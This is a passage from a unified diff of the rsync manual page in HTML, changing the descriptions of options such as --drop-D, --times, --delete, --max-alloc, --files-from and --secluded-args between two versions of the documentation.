<a href=\"#opt--fake-super\"><code>--fake-super</code></a> options).</p>\n <p>By default, rsync generates a &quot;non-regular file&quot; warning for each special\n file encountered when this option is not set.  You can silence the warning\n by specifying <a href=\"#opt--info\"><code>--info=nonreg0</code></a>.</p>\n@@ -1696,34 +1497,6 @@ by specifying <a href=\"#opt--info\"><code>--info=nonreg0</code></a>.</p>\n <a href=\"#opt--specials\"><code>--specials</code></a>&quot;.</p>\n </dd>\n \n-<dt id=\"opt--drop-D\"><code>--drop-D</code><a href=\"#opt--drop-D\" class=\"tgt\"></a></dt><dd>\n-<p>This tells the receiving rsync to refuse to create device files and\n-special files, whatever the transfer requested.  Entries for them are\n-skipped exactly as if <a href=\"#opt-D\"><code>-D</code></a> had not been used, with the usual\n-&quot;non-regular file&quot; warning.</p>\n-<p>This differs from <code>--no-D</code> in that it changes only what is created, not\n-how the file list is encoded.  <code>--no-D</code> also turns off the rdev fields\n-that devices and special files carry on the wire, so applying it to one\n-end of a connection alone leaves the two ends disagreeing about the\n-encoding and the transfer fails.  <code>--drop-D</code> can therefore be added on the\n-receiving side by itself, which is what it exists for&nbsp;-&#8288;-&#8288; the <code>rrsync</code>\n-wrapper uses it to stop a restricted directory's clients creating device\n-and special files in it.  Nodes already present there are left alone.</p>\n-<p>Because it only withholds creation, it has no effect on a sending rsync.</p>\n-<p>This option is not forwarded to the remote side, since its whole purpose\n-is to be applied to one end of a connection by itself.  It therefore\n-affects the rsync process you give it to and no other: on a local copy, or\n-on the receiving end of a <code>--server</code> invocation such as the one rrsync\n-builds.  To set it on a remote receiver from the command line, send it\n-explicitly with <a href=\"#opt--remote-option\"><code>--remote-option</code></a> (<code>-M</code>):</p>\n-<blockquote>\n-<pre><code>rsync -av -M--drop-D src/ host:dest/\n-</code></pre>\n-</blockquote>\n-<p>Passing a plain <code>--drop-D</code> to a push affects only the local sender, where\n-it does nothing.</p>\n-</dd>\n-\n <dt id=\"opt--copy-devices\"><code>--copy-devices</code><a href=\"#opt--copy-devices\" class=\"tgt\"></a></dt><dd>\n <p>This tells rsync to treat a device on the sending side as a regular file,\n allowing it to be copied to a normal destination file (or another device\n@@ -1741,20 +1514,20 @@ receiving side of the transfer, especially when running rsync as root.</p>\n </dd>\n \n <span id=\"opt-t\"></span><dt id=\"opt--times\"><code>--times</code>, <code>-t</code><a href=\"#opt--times\" class=\"tgt\"></a></dt><dd>\n-<p>This tells rsync to set the modification times of the destination files\n-(including directories, symlinks, devices, etc.) to be the same as the\n-source files.\n-Note that if this option is not used,\n+<p>This tells rsync to transfer modification times along with the files and\n+update them on the remote system.  Note that if this option is not used,\n the optimization that excludes files that have not been modified cannot be\n effective; in other words, a missing <code>-t</code> (or <a href=\"#opt-a\"><code>-a</code></a>) will cause the\n next transfer to behave as if it used <a href=\"#opt--ignore-times\"><code>--ignore-times</code></a> (<code>-I</code>),\n-causing all files to be updated. (Although rsync's delta-transfer algorithm\n+causing all files to be updated (though rsync's delta-transfer algorithm\n will make the update fairly efficient if the files haven't actually\n-changed, you're much better off using <code>-t</code>.)</p>\n-<p>If the negotiated protocol is older than 30&nbsp;-&#8288;-&#8288; usually because the remote\n-rsync is older than 3.0.0 (March 2008), but also if <a href=\"#opt--protocol\"><code>--protocol</code></a>\n-forces it&nbsp;-&#8288;-&#8288; the range of modification times that can be conveyed is\n-restricted.  If you\n+changed, you're much better off using <code>-t</code>).</p>\n+<p>A modern rsync that is using transfer protocol 30 or 31 conveys a modify\n+time using up to 8-bytes. If rsync is forced to speak an older protocol\n+(perhaps due to the remote rsync being older than 3.0.0) a modify time is\n+conveyed using 4-bytes. Prior to 3.2.7, these shorter values could convey\n+a date range of 13-Dec-1901 to 19-Jan-2038.  Beginning with 3.2.7, these\n+4-byte values now convey a date range of 1-Jan-1970 to 7-Feb-2106.  If you\n have files dated older than 1970, make sure your rsync executables are\n upgraded so that the full range of dates can be conveyed.</p>\n </dd>\n@@ -1766,6 +1539,9 @@ the same value as the source files.</p>\n to make the sending and receiving systems have the same access times on the\n transferred files without needing to run rsync an extra time after a file\n is transferred.</p>\n+<p>Note that some older rsync versions (prior to 3.2.0) may have been built\n+with a pre-release <code>--atimes</code> patch that does not imply\n+<a href=\"#opt--open-noatime\"><code>--open-noatime</code></a> when this option is repeated.</p>\n </dd>\n \n <dt id=\"opt--open-noatime\"><code>--open-noatime</code><a href=\"#opt--open-noatime\" class=\"tgt\"></a></dt><dd>\n@@ -1843,13 +1619,12 @@ daemon's rsyncd.conf file.</p>\n \n <span id=\"opt-S\"></span><dt id=\"opt--sparse\"><code>--sparse</code>, <code>-S</code><a href=\"#opt--sparse\" class=\"tgt\"></a></dt><dd>\n <p>Try to handle sparse files efficiently so they take up less space on the\n-destination.  This relies on the destination filesystem supporting sparse\n-files, that is, files where some parts of the file don't have corresponding\n-disk blocks allocated for them because they contain all zero bytes.</p>\n-<p>If combined with <a href=\"#opt--inplace\"><code>--inplace</code></a> the file created may not end up with\n-sparse blocks (depending on the filesystem type and kernel version),\n-unless the <a href=\"#opt--whole-file\"><code>--whole-file</code></a> option is also in effect.  Note that versions\n-of rsync older than 3.1.3 (January 2018) will reject the combination of\n+destination.  If combined with <a href=\"#opt--inplace\"><code>--inplace</code></a> the file created might\n+not end up with sparse blocks with some combinations of kernel version\n+and/or filesystem type.  If <a href=\"#opt--whole-file\"><code>--whole-file</code></a> is in effect (e.g. for a\n+local copy) then it will always work because rsync truncates the file prior\n+to writing out the updated version.</p>\n+<p>Note that versions of rsync older than 3.1.3 will reject the combination of\n <code>--sparse</code> and <a href=\"#opt--inplace\"><code>--inplace</code></a>.</p>\n </dd>\n \n@@ -1869,14 +1644,13 @@ filesystem type support creating holes in the allocated data.</p>\n </dd>\n \n <span id=\"opt-n\"></span><dt id=\"opt--dry-run\"><code>--dry-run</code>, <code>-n</code><a href=\"#opt--dry-run\" class=\"tgt\"></a></dt><dd>\n-<p>This makes rsync perform a trial run that doesn't make any changes, and\n-produces mostly the same output as a real run.  It is most commonly used\n+<p>This makes rsync perform a trial run that doesn't make any changes (and\n+produces mostly the same output as a real run).  It is most commonly used\n in combination with the <a href=\"#opt--verbose\"><code>--verbose</code></a> (<code>-v</code>) and/or\n <a href=\"#opt--itemize-changes\"><code>--itemize-changes</code></a> (<code>-i</code>) options to see what an rsync command is\n going to do before one actually runs it.</p>\n <p>The output of <a href=\"#opt--itemize-changes\"><code>--itemize-changes</code></a> is supposed to be exactly the\n-same on a dry run and a subsequent real run (barring external changes to\n-the source or destination\n+same on a dry run and a subsequent real run (barring intentional trickery\n and system call failures); if it isn't, that's a bug.  Other output should\n be mostly unchanged, but may differ in some areas.  Notably, a dry run does\n not send the actual data for file transfers, so <a href=\"#opt--progress\"><code>--progress</code></a> has no\n@@ -1886,8 +1660,8 @@ run where no file transfers were needed.</p>\n </dd>\n \n <span id=\"opt-W\"></span><dt id=\"opt--whole-file\"><code>--whole-file</code>, <code>-W</code><a href=\"#opt--whole-file\" class=\"tgt\"></a></dt><dd>\n-<p>This option disables rsync's delta-transfer algorithm, causing the whole of\n-all transferred files to be sent.  The transfer may be faster if this\n+<p>This option disables rsync's delta-transfer algorithm, which causes all\n+transferred files to be sent whole.  The transfer may be faster if this\n option is used when the bandwidth between the source and destination\n machines is higher than the bandwidth to disk (especially when the &quot;disk&quot;\n is actually a networked filesystem).  This is the default when both the\n@@ -1905,11 +1679,10 @@ trying to minimize the writes to the destination file (if combined with\n \n <span id=\"opt--cc\"></span><dt id=\"opt--checksum-choice\"><code>--checksum-choice=STR</code>, <code>--cc=STR</code><a href=\"#opt--checksum-choice\" class=\"tgt\"></a></dt><dd>\n <p>This option overrides the checksum algorithms.  If one algorithm name is\n-specified, it is used for both the transfer checksums and the pre-transfer\n-checksums (note that the pre-transfer checksum is only performed if\n-<a href=\"#opt--checksum\"><code>--checksum</code></a> is specified).  If two\n+specified, it is used for both the transfer checksums and (assuming\n+<a href=\"#opt--checksum\"><code>--checksum</code></a> is specified) the pre-transfer checksums.  If two\n comma-separated names are supplied, the first name affects the transfer\n-checksums, and the second name affects the pre-transfer checksums.</p>\n+checksums, and the second name affects the pre-transfer checksums (<code>-c</code>).</p>\n <p>The checksum options that you may be able to use are:</p>\n <ul>\n <li><code>auto</code> (the default automatic choice)</li>\n@@ -1929,11 +1702,9 @@ transferred data.  If &quot;none&quot; is specified for the second (or only) nam\n the <a href=\"#opt--checksum\"><code>--checksum</code></a> option cannot be used.</p>\n <p>The &quot;auto&quot; option is the default, where rsync bases its algorithm choice on\n a negotiation between the client and the server as follows:</p>\n-<p>When both sides of the transfer are at least 3.2.0 (released June 2020),\n-each side chooses its own\n-most-preferred algorithm that also appears in the peer's list.  Both sides\n-order their lists strongest-first, so they converge on the strongest mutual\n-choice.  If no common checksum choice is found, rsync exits with\n+<p>When both sides of the transfer are at least 3.2.0, rsync chooses the first\n+algorithm in the client's list of choices that is also in the server's list\n+of choices.  If no common checksum choice is found, rsync exits with\n an error.  If the remote rsync is too old to support checksum negotiation,\n a value is chosen based on the protocol version (which chooses between MD5\n and various flavors of MD4 based on protocol age).</p>\n@@ -2011,28 +1782,28 @@ use a naming idiom that lets rsync avoid transferring files that are not\n yet finished (e.g. name the file &quot;foo.new&quot; when it is written, rename it to\n &quot;foo&quot; when it is done, and then use the option <a href=\"#opt--exclude\"><code>--exclude='*.new'</code></a>\n for the rsync transfer).</p>\n-<p>Rsync will skip the sender-side removal, and output an\n-error, if the file's size or modify time has not stayed unchanged.</p>\n-<p>If the copy is local, rsync will ensure that the sender does\n+<p>Starting with 3.1.0, rsync will skip the sender-side removal (and output an\n+error) if the file's size or modify time has not stayed unchanged.</p>\n+<p>Starting with 3.2.6, a local rsync copy will ensure that the sender does\n not remove a file the receiver just verified, such as when the user\n accidentally makes the source and destination directory the same path.</p>\n </dd>\n \n <dt id=\"opt--delete\"><code>--delete</code><a href=\"#opt--delete\" class=\"tgt\"></a></dt><dd>\n-<p>This tells rsync to delete extraneous files from the receiving side (those\n-that don't exist on the sending side), but only for the directories that are\n+<p>This tells rsync to delete extraneous files from the receiving side (ones\n+that aren't on the sending side), but only for the directories that are\n being synchronized.  You must have asked rsync to send the whole directory\n-(e.g. &quot;<code>dir</code>&quot; or &quot;<code>dir/</code>&quot;), rather than asking for all the files in a\n-directory via a wildcard (e.g. &quot;<code>dir/*</code>&quot;), since the wildcard is\n-expanded by the shell and\n+(e.g. &quot;<code>dir</code>&quot; or &quot;<code>dir/</code>&quot;) without using a wildcard for the directory's\n+contents (e.g. &quot;<code>dir/*</code>&quot;) since the wildcard is expanded by the shell and\n rsync thus gets a request to transfer individual files, not the files'\n parent directory.  Files that are excluded from the transfer are also\n excluded from being deleted unless you use the <a href=\"#opt--delete-excluded\"><code>--delete-excluded</code></a>\n option or mark the rules as only matching on the sending side (see the\n include/exclude modifiers in the <a href=\"#FILTER_RULES\">FILTER RULES</a> section).</p>\n-<p>This option has no effect unless either <a href=\"#opt--recursive\"><code>--recursive</code></a> or\n-<a href=\"#opt--dirs\"><code>--dirs</code></a> (<code>-d</code>) is enabled.  In the latter case, deletions only\n-occur in directories whose contents are being copied.</p>\n+<p>Prior to rsync 2.6.7, this option would have no effect unless\n+<a href=\"#opt--recursive\"><code>--recursive</code></a> was enabled.  Beginning with 2.6.7, deletions will\n+also occur when <a href=\"#opt--dirs\"><code>--dirs</code></a> (<code>-d</code>) is enabled, but only for\n+directories whose contents are being copied.</p>\n <p>This option can be dangerous if used incorrectly! It is a very good idea to\n first try a run using the <a href=\"#opt--dry-run\"><code>--dry-run</code></a> (<code>-n</code>) option to see what\n files are going to be deleted.</p>\n@@ -2041,11 +1812,10 @@ at the destination will be automatically disabled.  This is to prevent\n temporary filesystem failures (such as NFS errors) on the sending side from\n causing a massive deletion of files on the destination.  You can override\n this with the <a href=\"#opt--ignore-errors\"><code>--ignore-errors</code></a> option.</p>\n-<p>The <code>--delete</code> option may be combined with one of the -&#8288;-&#8288;delete-&#8288;WHEN options\n+<p>The <code>--delete</code> option may be combined with one of the -&#8288;-&#8288;delete-WHEN options\n without conflict, as well as <a href=\"#opt--delete-excluded\"><code>--delete-excluded</code></a>.  However, if none\n of the <code>--delete-WHEN</code> options are specified, rsync will choose the\n-<a href=\"#opt--delete-during\"><code>--delete-during</code></a> algorithm when talking to rsync 3.0.0 (March\n-2008) or newer,\n+<a href=\"#opt--delete-during\"><code>--delete-during</code></a> algorithm when talking to rsync 3.0.0 or newer,\n or the <a href=\"#opt--delete-before\"><code>--delete-before</code></a> algorithm when talking to an older rsync.\n See also <a href=\"#opt--delete-delay\"><code>--delete-delay</code></a> and <a href=\"#opt--delete-after\"><code>--delete-after</code></a>.</p>\n </dd>\n@@ -2068,8 +1838,8 @@ files in the transfer into memory at once (see <a href=\"#opt--recursive\"><code>-\n as the transfer happens.  The per-directory delete scan is done right\n before each directory is checked for updates, so it behaves like a more\n efficient <a href=\"#opt--delete-before\"><code>--delete-before</code></a>, including doing the deletions prior to\n-any per-directory filter files being updated.\n-See <a href=\"#opt--delete\"><code>--delete</code></a> (which is implied) for more\n+any per-directory filter files being updated.  This option was first added\n+in rsync version 2.6.4.  See <a href=\"#opt--delete\"><code>--delete</code></a> (which is implied) for more\n details on file-deletion.</p>\n </dd>\n \n@@ -2078,9 +1848,9 @@ details on file-deletion.</p>\n the transfer (like <a href=\"#opt--delete-during\"><code>--delete-during</code></a>), and then removed after the\n transfer completes.  This is useful when combined with\n <a href=\"#opt--delay-updates\"><code>--delay-updates</code></a> and/or <a href=\"#opt--fuzzy\"><code>--fuzzy</code></a>, and is more efficient\n-than using <a href=\"#opt--delete-after\"><code>--delete-after</code></a>, but can behave differently, since\n+than using <a href=\"#opt--delete-after\"><code>--delete-after</code></a> (but can behave differently, since\n <a href=\"#opt--delete-after\"><code>--delete-after</code></a> computes the deletions in a separate pass after\n-all updates are done.  If the number of removed files overflows an\n+all updates are done).  If the number of removed files overflows an\n internal buffer, a temporary file will be created on the receiving side to\n hold the names (it is removed while open, so you shouldn't see it during\n the transfer).  If the creation of the temporary file fails, rsync will try\n@@ -2131,7 +1901,7 @@ is no longer there.</p>\n \n <dt id=\"opt--delete-missing-args\"><code>--delete-missing-args</code><a href=\"#opt--delete-missing-args\" class=\"tgt\"></a></dt><dd>\n <p>This option takes the behavior of the (implied)\n-<a href=\"#opt--ignore-missing-args\"><code>--ignore-missing-args</code></a> option a step farther: each missing argument\n+<a href=\"#opt--ignore-missing-args\"><code>--ignore-missing-args</code></a> option a step farther: each missing arg\n will become a deletion request of the corresponding destination file on the\n receiving side (should it exist).  If the destination file is a non-empty\n directory, it will only be successfully deleted if <a href=\"#opt--force\"><code>--force</code></a> or\n@@ -2150,6 +1920,9 @@ I/O errors.</p>\n <p>This option tells rsync to delete a non-empty directory when it is to be\n replaced by a non-directory.  This is only relevant if deletions are not\n active (see <a href=\"#opt--delete\"><code>--delete</code></a> for details).</p>\n+<p>Note for older rsync versions: <code>--force</code> used to still be required when\n+using <a href=\"#opt--delete-after\"><code>--delete-after</code></a>, and it used to be non-functional unless the\n+<a href=\"#opt--recursive\"><code>--recursive</code></a> option was also enabled.</p>\n </dd>\n \n <dt id=\"opt--max-delete\"><code>--max-delete=NUM</code><a href=\"#opt--max-delete\" class=\"tgt\"></a></dt><dd>\n@@ -2158,19 +1931,19 @@ limit is exceeded, all further deletions are skipped through the end of the\n transfer.  At the end, rsync outputs a warning (including a count of the\n skipped deletions) and exits with an error code of 25 (unless some more\n important error condition also occurred).</p>\n-<p>You may specify <code>--max-delete=0</code> to be warned\n+<p>Beginning with version 3.0.0, you may specify <code>--max-delete=0</code> to be warned\n about any extraneous files in the destination without removing any of them.\n-CAUTION: a client rsync older than 3.0.0 (March 2008) treats\n-<code>--max-delete=0</code> as unlimited, so use <code>--max-delete=-1</code> if the command\n-might be run by such an old rsync.  (A 3.0.0 or newer client protects an\n-older remote by forwarding the option as <code>--max-delete=-1</code>.)</p>\n+Older clients interpreted this as &quot;unlimited&quot;, so if you don't know what\n+version the client is, you can use the less obvious <code>--max-delete=-1</code> as a\n+backward-compatible way to specify that no deletions be allowed (though\n+really old versions didn't warn when the limit was exceeded).</p>\n </dd>\n \n <dt id=\"opt--max-size\"><code>--max-size=SIZE</code><a href=\"#opt--max-size\" class=\"tgt\"></a></dt><dd>\n <p>This tells rsync to avoid transferring any file that is larger than the\n specified SIZE.  A numeric value can be suffixed with a string to indicate\n-the numeric units or left unqualified to specify bytes, and the numeric\n-value can have a fractional part, such as <code>--max-size=1.5m</code>.</p>\n+the numeric units or left unqualified to specify bytes.  Feel free to use a\n+fractional value along with the units, such as <code>--max-size=1.5m</code>.</p>\n <p>This option is a <a href=\"#TRANSFER_RULES\">TRANSFER RULE</a>, so don't expect any\n exclude side effects.</p>\n <p>The first letter of a units string can be <code>B</code> (bytes), <code>K</code> (kilo), <code>M</code>\n@@ -2184,12 +1957,14 @@ byte in the indicated direction.  The largest possible value is usually\n <code>8192P-1</code>.</p>\n <p>Examples: <code>--max-size=1.5mb-1</code> is 1499999 bytes, and <code>--max-size=2g+1</code> is\n 2147483649 bytes.</p>\n+<p>Note that rsync versions prior to 3.1.0 did not allow <code>--max-size=0</code>.</p>\n </dd>\n \n <dt id=\"opt--min-size\"><code>--min-size=SIZE</code><a href=\"#opt--min-size\" class=\"tgt\"></a></dt><dd>\n <p>This tells rsync to avoid transferring any file that is smaller than the\n specified SIZE, which can help in not transferring small, junk files.  See\n the <a href=\"#opt--max-size\"><code>--max-size</code></a> option for a description of SIZE and other info.</p>\n+<p>Note that rsync versions prior to 3.1.0 did not allow <code>--min-size=0</code>.</p>\n </dd>\n \n <dt id=\"opt--max-alloc\"><code>--max-alloc=SIZE</code><a href=\"#opt--max-alloc\" class=\"tgt\"></a></dt><dd>\n@@ -2198,25 +1973,14 @@ For most people this limit works just fine and prevents a protocol error\n causing rsync to request massive amounts of memory.  However, if you have\n many millions of files in a transfer, a large amount of server memory, and\n you don't want to split up your transfer into multiple parts, you can\n-increase the per-allocation limit to something larger, allowing rsync to\n+increase the per-allocation limit to something larger and rsync will\n consume more memory.</p>\n <p>Keep in mind that this is not a limit on the total size of allocated\n memory.  It is a sanity-check value for each individual allocation.</p>\n <p>See the <a href=\"#opt--max-size\"><code>--max-size</code></a> option for a description of how SIZE can be\n specified.  The default suffix if none is given is bytes.</p>\n-<p>A value of 0 is an easy way to say &quot;the largest limit this build supports&quot;.\n-It resolves to the same ceiling an explicit SIZE is checked against, so it\n-is never a higher limit than one you could have typed out yourself.</p>\n-<p>Because the option is passed to the remote rsync as you wrote it, each side\n-resolves a 0 against its own maximum.  That makes 0 the only spelling that\n-is correct for both ends of a transfer between hosts of different word\n-sizes: a literal value large enough to be useful on a 64-bit client is\n-rejected as too large by a 32-bit daemon.</p>\n-<p>A value of 0 was accepted beginning in 3.2.3 and rejected in 3.5.0; the\n-release after 3.5.0 accepts it again.</p>\n-<p>A daemon administrator who does not want clients to change the configured\n-allocation ceiling can set <code>refuse options = max-alloc</code> in the module's\n-<code>rsyncd.conf</code>.  This refuses every client-supplied value, including 0.</p>\n+<p>Beginning in 3.2.7, a value of 0 is an easy way to specify SIZE_MAX (the\n+largest limit possible).</p>\n <p>You can set a default value using the environment variable\n <a href=\"#RSYNC_MAX_ALLOC\"><code>RSYNC_MAX_ALLOC</code></a> using the same SIZE values as supported by this\n option.  If the remote rsync doesn't understand the <code>--max-alloc</code> option,\n@@ -2229,32 +1993,32 @@ which will make rsync avoid sending the option to the remote side (because\n <p>This forces the block size used in rsync's delta-transfer algorithm to a\n fixed value.  It is normally selected based on the size of each file being\n updated.  See the technical report for details.</p>\n-<p>The SIZE can be specified with a suffix as detailed in\n-the <a href=\"#opt--max-size\"><code>--max-size</code></a> option.</p>\n+<p>Beginning in 3.2.3 the SIZE can be specified with a suffix as detailed in\n+the <a href=\"#opt--max-size\"><code>--max-size</code></a> option.  Older versions only accepted a byte count.</p>\n </dd>\n \n <span id=\"opt-e\"></span><dt id=\"opt--rsh\"><code>--rsh=COMMAND</code>, <code>-e</code><a href=\"#opt--rsh\" class=\"tgt\"></a></dt><dd>\n <p>This option allows you to choose an alternative remote shell program to use\n for communication between the local and remote copies of rsync.  Typically,\n-rsync is configured to use ssh by default.</p>\n+rsync is configured to use ssh by default, but you may prefer to use rsh on\n+a local network.</p>\n <p>If this option is used with <code>[user@]host::module/path</code>, then the remote\n shell <u>COMMAND</u> will be used to run an rsync daemon on the remote host, and\n all data will be transmitted through that remote shell connection, rather\n than through a direct socket connection to a running rsync daemon on the\n remote host.  See the <a href=\"#USING_RSYNC-DAEMON_FEATURES_VIA_A_REMOTE-SHELL_CONNECTION\">USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL\n CONNECTION</a> section above.</p>\n-<p>The <a href=\"#RSYNC_PORT\"><code>RSYNC_PORT</code></a> environment variable will\n+<p>Beginning with rsync 3.2.0, the <a href=\"#RSYNC_PORT\"><code>RSYNC_PORT</code></a> environment variable will\n be set when a daemon connection is being made via a remote-shell\n connection.  It is set to 0 if the default daemon port is being assumed, or\n it is set to the value of the rsync port that was specified via either the\n-<a href=\"#opt--port\"><code>--port</code></a> option or a non-empty port value in an <code>rsync://</code> URL (for\n-example <code>rsync://host.example.com:984</code>).  This is useful if the program\n-being run is not actually rsync but rather something such as an SSL or\n-stunnel helper script; the script can use <code>RSYNC_PORT</code> to determine whether\n-it should connect to a default or alternate port.</p>\n+<a href=\"#opt--port\"><code>--port</code></a> option or a non-empty port value in an <code>rsync://</code> URL.\n+This allows the script to discern if a non-default port is being requested,\n+allowing for things such as an SSL or stunnel helper script to connect to a\n+default or alternate port.</p>\n <p>Command-line arguments are permitted in COMMAND provided that COMMAND is\n presented to rsync as a single argument.  You must use spaces (not tabs or\n-other whitespace) to separate the command and arguments from each other, and you\n+other whitespace) to separate the command and args from each other, and you\n can use single- and/or double-quotes to preserve spaces in an argument (but\n not backslashes).  Note that doubling a single-quote inside a single-quoted\n string gives you a single-quote; likewise for double-quotes (though you\n@@ -2309,12 +2073,12 @@ cause rsync to have a different idea about what data to expect next over\n the socket, and that will make it fail in a cryptic fashion.</p>\n <p>Note that you should use a separate <code>-M</code> option for each remote option you\n want to pass.  On older rsync versions, the presence of any spaces in the\n-remote-option argument could cause it to be split into separate remote arguments, but\n+remote-option arg could cause it to be split into separate remote args, but\n this requires the use of <a href=\"#opt--old-args\"><code>--old-args</code></a> in a modern rsync.</p>\n <p>When performing a local transfer, the &quot;local&quot; side is the sender and the\n &quot;remote&quot; side is the receiver.</p>\n <p>Note some versions of the popt option-parsing library have a bug in them\n-that prevents you from using an adjacent argument with an equal in it next to a\n+that prevents you from using an adjacent arg with an equal in it next to a\n short option letter (e.g. <code>-M--log-file=/tmp/foo</code>).  If this bug affects\n your version of popt, you can use the version of popt that is included with\n rsync.</p>\n@@ -2392,8 +2156,8 @@ combination with a recursive transfer.</p>\n <p>You may use as many <code>--filter</code> options on the command line as you like to\n build up the list of files to exclude.  If the filter contains whitespace,\n be sure to quote it so that the shell gives the rule to rsync as a single\n-argument.  You can use an underscore instead of a space to separate a rule\n-from its argument.</p>\n+argument.  The text below also mentions that you can use an underscore to\n+replace the space that separates a rule from its arg.</p>\n <p>See the <a href=\"#FILTER_RULES\">FILTER RULES</a> section for detailed information on this option.</p>\n </dd>\n \n@@ -2458,8 +2222,8 @@ before adding any further rules.</p>\n </dd>\n \n <dt id=\"opt--files-from\"><code>--files-from=FILE</code><a href=\"#opt--files-from\" class=\"tgt\"></a></dt><dd>\n-<p>Using this option tells rsync to read the exact list of files to transfer\n-from FILE (or standard input if FILE is '<code>-</code>').  It also\n+<p>Using this option allows you to specify the exact list of files to transfer\n+(as read from the specified FILE or '<code>-</code>' for standard input).  It also\n tweaks the default behavior of rsync to make transferring just the\n specified files and directories easier:</p>\n <ul>\n@@ -2476,18 +2240,9 @@ the <code>--files-from</code> option on the command-line has no bearing on how o\n options are parsed (e.g. <a href=\"#opt-a\"><code>-a</code></a> works the same before or after\n <code>--files-from</code>, as does <code>--no-R</code> and all other options).</li>\n </ul>\n-<p>Listing individual files with <code>--files-from</code> does not make unlisted\n-siblings eligible for deletion.  The <a href=\"#opt--delete\"><code>--delete</code></a> option only removes\n-entries from directories whose complete contents are being synchronised,\n-so list the directory itself and enable recursion if that deletion scope is\n-intended.</p>\n <p>The filenames that are read from the FILE are all relative to the source\n-directory: any leading slash is removed, and &quot;..&quot; components are resolved away so\n-an entry cannot rise above the source directory&nbsp;-&#8288;-&#8288; e.g. &quot;../foo&quot; is taken as &quot;foo&quot;\n-within the source directory.  An entry that still contains an active &quot;..&quot; after\n-that resolution (one that cannot be collapsed) is rejected with an error.\n-Blank entries are ignored, as are whole-entry comments that start with '<code>;</code>'\n-or '<code>#</code>'.  For example, take this command:</p>\n+dir&nbsp;-&#8288;-&#8288; any leading slashes are removed and no &quot;..&quot; references are allowed\n+to go higher than the source dir.  For example, take this command:</p>\n <blockquote>\n <pre><code>rsync -a --files-from=/tmp/foo /usr remote:/backup\n </code></pre>\n@@ -2495,9 +2250,9 @@ or '<code>#</code>'.  For example, take this command:</p>\n <p>If /tmp/foo contains the string &quot;bin&quot; (or even &quot;/bin&quot;), the /usr/bin\n directory will be created as /backup/bin on the remote host.  If it\n contains &quot;bin/&quot; (note the trailing slash), the immediate contents of the\n-directory would also be sent, without needing to be explicitly mentioned in\n-the file.  In both cases, if the\n-<a href=\"#opt-r\"><code>-r</code></a> option was enabled, that directory's entire hierarchy would also be\n+directory would also be sent (without needing to be explicitly mentioned in\n+the file&nbsp;-&#8288;-&#8288; this began in version 2.6.4).  In both cases, if the\n+<a href=\"#opt-r\"><code>-r</code></a> option was enabled, that dir's entire hierarchy would also be\n transferred (keep in mind that <a href=\"#opt-r\"><code>-r</code></a> needs to be specified\n explicitly with <code>--files-from</code>, since it is not implied by <a href=\"#opt-a\"><code>-a</code></a>.\n Also note that the effect of the (enabled by default) <a href=\"#opt-r\"><code>-r</code></a> option\n@@ -2527,7 +2282,7 @@ elements.</p>\n </dd>\n \n <span id=\"opt-0\"></span><dt id=\"opt--from0\"><code>--from0</code>, <code>-0</code><a href=\"#opt--from0\" class=\"tgt\"></a></dt><dd>\n-<p>This tells rsync that the rules or filenames it reads from a file are\n+<p>This tells rsync that the rules/filenames it reads from a file are\n terminated by a null ('\\0') character, not a NL, CR, or CR+LF.  This\n affects <a href=\"#opt--exclude-from\"><code>--exclude-from</code></a>, <a href=\"#opt--include-from\"><code>--include-from</code></a>,\n <a href=\"#opt--files-from\"><code>--files-from</code></a>, and any merged files specified in a\n@@ -2536,16 +2291,16 @@ all names read from a .cvsignore file are split on whitespace).</p>\n </dd>\n \n <dt id=\"opt--old-args\"><code>--old-args</code><a href=\"#opt--old-args\" class=\"tgt\"></a></dt><dd>\n-<p>This option tells rsync not to protect the argument values sent to the\n+<p>This option tells rsync to stop trying to protect the arg values on the\n remote side from unintended word-splitting or other misinterpretation.\n-It also allows the client to treat an empty argument as a &quot;.&quot; instead of\n+It also allows the client to treat an empty arg as a &quot;.&quot; instead of\n generating an error.</p>\n <p>The default in a modern rsync is for &quot;shell-active&quot; characters (including\n-spaces) to be backslash-escaped in the arguments that are sent to the remote\n+spaces) to be backslash-escaped in the args that are sent to the remote\n shell.  The wildcard characters <code>*</code>, <code>?</code>, <code>[</code>, &amp; <code>]</code> are not escaped in\n-filename arguments (allowing them to expand into multiple filenames) while being\n-protected in option arguments, such as <a href=\"#opt--usermap\"><code>--usermap</code></a>.</p>\n-<p>If you have a script that wants to use old-style argument splitting in its\n+filename args (allowing them to expand into multiple filenames) while being\n+protected in option args, such as <a href=\"#opt--usermap\"><code>--usermap</code></a>.</p>\n+<p>If you have a script that wants to use old-style arg splitting in its\n filenames, specify this option once.  If the remote shell has a problem\n with any backslash escapes at all, specify this option twice.</p>\n <p>You may also control this setting via the <a href=\"#RSYNC_OLD_ARGS\"><code>RSYNC_OLD_ARGS</code></a> environment\n@@ -2554,31 +2309,31 @@ setting.  If it has the value &quot;2&quot; (or more), rsync will default to a\n repeated-option setting.  If it is &quot;0&quot;, you'll get the default escaping\n behavior.  The environment is always overridden by manually specified\n positive or negative options (the negative is <code>--no-old-args</code>).</p>\n-<p>Note that this option also disables the extra safety check\n+<p>Note that this option also disables the extra safety check added in 3.2.5\n that ensures that a remote sender isn't including extra top-level items in\n the file-list that you didn't request.  This side-effect is necessary\n because we can't know for sure what names to expect when the remote shell\n-is interpreting the arguments.</p>\n+is interpreting the args.</p>\n <p>This option conflicts with the <a href=\"#opt--secluded-args\"><code>--secluded-args</code></a> option.</p>\n </dd>\n \n <span id=\"opt-s\"></span><dt id=\"opt--secluded-args\"><code>--secluded-args</code>, <code>-s</code><a href=\"#opt--secluded-args\" class=\"tgt\"></a></dt><dd>\n <p>This option sends all filenames and most options to the remote rsync via\n-the protocol (rather than via the remote shell command line), which avoids\n-the possibility of the remote shell modifying them.\n-Wildcards are expanded on the remote host by rsync instead of a shell.</p>\n-<p>Without this option, rsync does backslash-escaping of arguments to prevent\n-things like space splitting and unwanted special-character side-effects,\n-which is normally sufficient to avoid unwanted modifications by the shell.\n-This option is useful for those times that you need the argument's\n+the protocol (not the remote shell command line) which avoids letting the\n+remote shell modify them.  Wildcards are expanded on the remote host by\n+rsync instead of a shell.</p>\n+<p>This is similar to the default backslash-escaping of args that was added\n+in 3.2.4 (see <a href=\"#opt--old-args\"><code>--old-args</code></a>) in that it prevents things like space\n+splitting and unwanted special-character side-effects. However, it has the\n+drawbacks of being incompatible with older rsync versions (prior to 3.0.0)\n+and of being refused by restricted shells that want to be able to inspect\n+all the option values for safety.</p>\n+<p>This option is useful for those times that you need the argument's\n character set to be converted for the remote 